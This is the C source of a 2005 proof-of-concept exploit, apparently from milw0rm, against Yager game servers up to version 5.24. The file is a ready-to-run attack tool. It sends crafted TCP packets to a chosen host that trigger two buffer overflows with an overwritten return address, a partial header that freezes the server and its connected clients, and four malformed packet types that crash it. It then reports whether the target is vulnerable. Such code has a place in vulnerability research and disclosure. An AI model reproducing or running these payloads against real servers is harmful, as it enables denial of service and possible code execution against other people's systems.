/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define BUFFSZ (HEADSZ + 65536)
#define PORT 34855
#define TIMEOUT 3
#define HEADSZ 10
#define EIP "\xde\xc0\xad\xde"
#define CRASHSZ 100
#define NICKBOF "\x00\x00\x00\x00" /* vehicle type */ \
"\x01\x00\x00\x00" /* team */ \
"\xff\xff\xff\xff" /* nickname size, ignored! */ \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
EIP \
"aaaaaaaaaaaaaaaa\0"
#define PCKBOF "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aa" EIP
#define SHOW(x) printf(x "%n%s%n\n", &tmp, p, &len); \
p += (len - tmp) + 1;
#define SENDTO(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) \
< 0) std_err();
#define RECVFROM if(timeout(sd) < 0) { \
fputs("\nError: socket timeout, no reply received\n\n", stdout); \
exit(1); \
} \
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
if(len < 0) std_err();
#define SEND(x,y) if(send(sd, x, y, 0) \
< 0) std_err();
u_long resolv(char *host);
int timeout(int sock);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
attack,
tmp,
autoport = 1;
u_short port = PORT;
u_char *buff,
info[] =
"Y_NET_YAGER_CLIENT\0"
"\x00\x00" "\x00\x00",
*p;
struct yager_head {
u_long type;
u_short size;
u_short pck1;
u_short pck2;
} *yh;
setbuf(stdout, NULL);
fputs("\n"
"Yager <= 5.24 multiple vulnerabilities "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(auto)]\n"
"\n"
"Attacks:\n"
" 1 = nickname buffer-overflow\n"
" 2 = big data buffer-overflow\n"
" 3 = freeze of server and connected clients\n"
" 4 = crash using type 0x1d (in 0x0050e970)\n"
" 5 = crash using type 0x22 (in 0x004fd2b8)\n"
" 6 = crash using type 0x24 (in 0x004fd2f5)\n"
" 7 = crash using type 0x28 (in 0x004b0f1b)\n"
"\n", argv[0]);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 3) {
autoport = 0;
port = atoi(argv[3]);
}
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
buff = malloc(BUFFSZ);
if(!buff) std_err();
if(autoport) {
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
fputs("- request informations:\n", stdout);
*(u_short *)(info + 19) = ~time(NULL);
SENDTO(info);
RECVFROM;
close(sd);
p = buff + 19;
port = ntohs(*(u_short *)p);
printf("\n Server port %d\n", port);
p += 2;
SHOW(" Map ");
printf(" Version %d.%d\n", p[1], p[0]);
p += 2;
SHOW(" Server name ");
p += 4;
printf(" Players %d / %d\n\n", p[1], p[0]);
peer.sin_port = htons(port);
}
attack = atoi(argv[1]);
if(attack > 7) {
fputs("\nError: you have chosen a wrong attack number\n\n", stdout);
exit(1);
}
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
yh = (struct yager_head *)buff;
yh->pck1 = tmp = ~time(NULL) & 0xffff;
yh->pck2 = 0;
if(attack == 1) {
yh->type = 0x1e;
memcpy(buff + HEADSZ, NICKBOF, sizeof(NICKBOF) - 1);
yh->size = sizeof(NICKBOF) - 1;
fputs("- send long data block for nickname buffer-overflow\n", stdout);
} else if(attack == 2) {
yh->type = 0x00; // almost any other type is ok
memcpy(buff + HEADSZ, PCKBOF, sizeof(PCKBOF) - 1);
yh->size = sizeof(PCKBOF) - 1;
fputs("- send long data block for packet buffer-overflow\n", stdout);
} else if(attack == 3) {
yh->type = 0x1b;
yh->size = 0;
printf("- server waits for %d bytes but we send a partial header\n", HEADSZ);
tmp %= HEADSZ;
if(tmp <= 0) tmp = 1;
SEND(buff, tmp);
fputs(" Server and connected clients should be freezed, press RETURN to stop the attack\n", stdout);
fgetc(stdin);
close(sd);
return(0);
} else {
if(attack == 4) {
yh->type = 0x1d;
} else if(attack == 5) {
yh->type = 0x22;
} else if(attack == 6) {
yh->type = 0x24;
} else if(attack == 7) {
yh->type = 0x28;
}
memset(buff + HEADSZ, 0xff, CRASHSZ);
yh->size = CRASHSZ;
printf("- send crash data with type 0x%08lx\n", yh->type);
}
SEND(buff, yh->size + HEADSZ);
fputs("- check server status\n", stdout);
if(!timeout(sd)) {
if(recv(sd, buff, BUFFSZ, 0) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}
} else {
fputs("\nNo reply from the server, it is probably not vulnerable\n\n", stdout);
}
close(sd);
return(0);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
// milw0rm.com [2005-04-14]
